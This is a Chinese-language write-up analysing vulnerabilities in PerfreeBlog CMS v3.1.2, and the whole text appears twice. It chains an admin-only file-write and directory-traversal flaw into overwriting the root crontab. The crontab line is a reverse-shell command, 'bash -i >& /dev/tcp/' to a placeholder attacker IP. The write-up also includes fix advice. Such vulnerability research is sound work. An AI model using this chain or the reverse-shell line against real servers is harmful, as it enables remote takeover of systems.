某cms漏洞浅析
字数 1377 2025-08-06 08:35:09

PerfreeBlog CMS漏洞分析与利用教学文档

1. 环境搭建

1.1 系统要求

  • 操作系统:Windows或Linux
  • 数据库:MySQL
  • 构建工具:Maven

1.2 获取源代码

从GitHub Release页面下载PerfreeBlog v3.1.2版本的源代码:

https://github.com/perfree/PerfreeBlog/releases/tag/v3.1.2

1.3 配置环境

  1. 配置本地Maven环境
  2. 配置MySQL数据库连接
  3. 使用Docker构建环境(可选)

2. SQL注入漏洞分析

2.1 漏洞定位

  • 使用MyBatis框架,全局搜索$符号查找可能的注入点
  • 关键文件:com/perfree/mapper/ArticleMapper.java

2.2 注入点分析

  • 发现orderBy参数可控
  • 调用链:ArticleController.javagenerateOrderBy方法

2.3 防护机制

  • 对输入参数以,分割
  • 实施白名单校验:
    • 若数组中的数据不在白名单中则返回空
    • 白名单数据来源固定,无法绕过

2.4 结论

由于严格的白名单校验机制,SQL注入漏洞无法成功利用。

3. 文件上传漏洞分析

3.1 漏洞定位

  • 关键文件:com/perfree/controller/admin/ThemeController.java
  • 相关方法:createFileOrDir

3.2 漏洞详情

  1. 文件创建漏洞:

    • 使用FileUtil.touch方法创建文件
    • 未对文件后缀进行限制
    • 未过滤../,存在目录穿越风险
  2. 文件内容写入:

    • content参数完全可控
    • 可写入任意内容
  3. 限制条件:

    • 需要后台管理员权限
    • Spring Boot未配置JSP解析,无法直接上传JSP webshell

3.3 文件重命名漏洞

  • 同一类中的文件重命名功能
  • 未对重命名的文件名进行过滤
  • 可利用目录穿越特性

4. 漏洞利用链构建

4.1 利用步骤

  1. 获取后台管理员权限
  2. 通过主题管理功能新建文件
  3. 写入恶意代码
  4. 利用文件重命名功能进行路径穿越

4.2 Linux系统利用方案

4.2.1 计划任务利用

  1. 覆盖/var/spool/cron/root文件
  2. 写入反弹shell命令:
    */1 * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1
    
  3. 注意换行符问题

4.2.2 Docker环境适配

  • 官方Docker使用Debian镜像
  • 建议改用CentOS镜像(计划任务执行更可靠)
  • 示例Dockerfile:
    FROM centos:centos7.6.1810
    COPY ./jdk-8u181-linux-x64.tar.gz /jdk-8u181-linux-x64.tar.gz
    COPY ./perfree-web-3.1.2.tar.gz /perfree-web-3.1.2.tar.gz
    RUN yum install crontabs -y
    RUN tar -zxvf /jdk-8u181-linux-x64.tar.gz && mv jdk1.8.0_181 /usr/local/
    RUN tar -zxvf /perfree-web-3.1.2.tar.gz && mv perfree-web /usr/local/
    WORKDIR /usr/local/perfree-web
    EXPOSE 8080
    CMD ["/usr/local/jdk1.8.0_181/bin/java", "-jar", "/usr/local/perfree-web/perfree-web.jar"]
    

4.3 利用验证

  1. 查看计划任务列表确认写入成功
  2. 检查计划任务执行日志
  3. 在攻击机监听对应端口,确认收到反弹shell

5. 漏洞修复建议

  1. 文件操作安全加固:

    • 对用户输入的文件路径进行规范化处理
    • 实施严格的路径校验,防止目录穿越
    • 限制文件创建和重命名操作的范围
  2. 权限控制:

    • 加强后台权限管理
    • 对敏感操作实施二次验证
  3. 输入验证:

    • 对所有用户输入实施严格过滤
    • 对文件内容写入实施安全检查
  4. 安全配置:

    • 在生产环境中限制文件系统访问权限
    • 实施最小权限原则

6. 总结

本教学文档详细分析了PerfreeBlog v3.1.2版本中存在的安全漏洞,包括:

  • SQL注入漏洞(因白名单防护无法利用)
  • 文件上传与目录穿越漏洞
  • 文件重命名漏洞

通过组合利用文件操作相关漏洞,攻击者可在获取后台权限后实现服务器权限获取。虽然漏洞需要后台权限,但仍存在较大安全风险。建议用户关注官方更新,及时应用安全补丁。

PerfreeBlog CMS漏洞分析与利用教学文档 1. 环境搭建 1.1 系统要求 操作系统:Windows或Linux 数据库:MySQL 构建工具:Maven 1.2 获取源代码 从GitHub Release页面下载PerfreeBlog v3.1.2版本的源代码: 1.3 配置环境 配置本地Maven环境 配置MySQL数据库连接 使用Docker构建环境(可选) 2. SQL注入漏洞分析 2.1 漏洞定位 使用MyBatis框架,全局搜索 $ 符号查找可能的注入点 关键文件: com/perfree/mapper/ArticleMapper.java 2.2 注入点分析 发现 orderBy 参数可控 调用链: ArticleController.java → generateOrderBy 方法 2.3 防护机制 对输入参数以 , 分割 实施白名单校验: 若数组中的数据不在白名单中则返回空 白名单数据来源固定,无法绕过 2.4 结论 由于严格的白名单校验机制,SQL注入漏洞无法成功利用。 3. 文件上传漏洞分析 3.1 漏洞定位 关键文件: com/perfree/controller/admin/ThemeController.java 相关方法: createFileOrDir 3.2 漏洞详情 文件创建漏洞: 使用 FileUtil.touch 方法创建文件 未对文件后缀进行限制 未过滤 .. 和 / ,存在目录穿越风险 文件内容写入: content 参数完全可控 可写入任意内容 限制条件: 需要后台管理员权限 Spring Boot未配置JSP解析,无法直接上传JSP webshell 3.3 文件重命名漏洞 同一类中的文件重命名功能 未对重命名的文件名进行过滤 可利用目录穿越特性 4. 漏洞利用链构建 4.1 利用步骤 获取后台管理员权限 通过主题管理功能新建文件 写入恶意代码 利用文件重命名功能进行路径穿越 4.2 Linux系统利用方案 4.2.1 计划任务利用 覆盖 /var/spool/cron/root 文件 写入反弹shell命令: 注意换行符问题 4.2.2 Docker环境适配 官方Docker使用Debian镜像 建议改用CentOS镜像(计划任务执行更可靠) 示例Dockerfile: 4.3 利用验证 查看计划任务列表确认写入成功 检查计划任务执行日志 在攻击机监听对应端口,确认收到反弹shell 5. 漏洞修复建议 文件操作安全加固: 对用户输入的文件路径进行规范化处理 实施严格的路径校验,防止目录穿越 限制文件创建和重命名操作的范围 权限控制: 加强后台权限管理 对敏感操作实施二次验证 输入验证: 对所有用户输入实施严格过滤 对文件内容写入实施安全检查 安全配置: 在生产环境中限制文件系统访问权限 实施最小权限原则 6. 总结 本教学文档详细分析了PerfreeBlog v3.1.2版本中存在的安全漏洞,包括: SQL注入漏洞(因白名单防护无法利用) 文件上传与目录穿越漏洞 文件重命名漏洞 通过组合利用文件操作相关漏洞,攻击者可在获取后台权限后实现服务器权限获取。虽然漏洞需要后台权限,但仍存在较大安全风险。建议用户关注官方更新,及时应用安全补丁。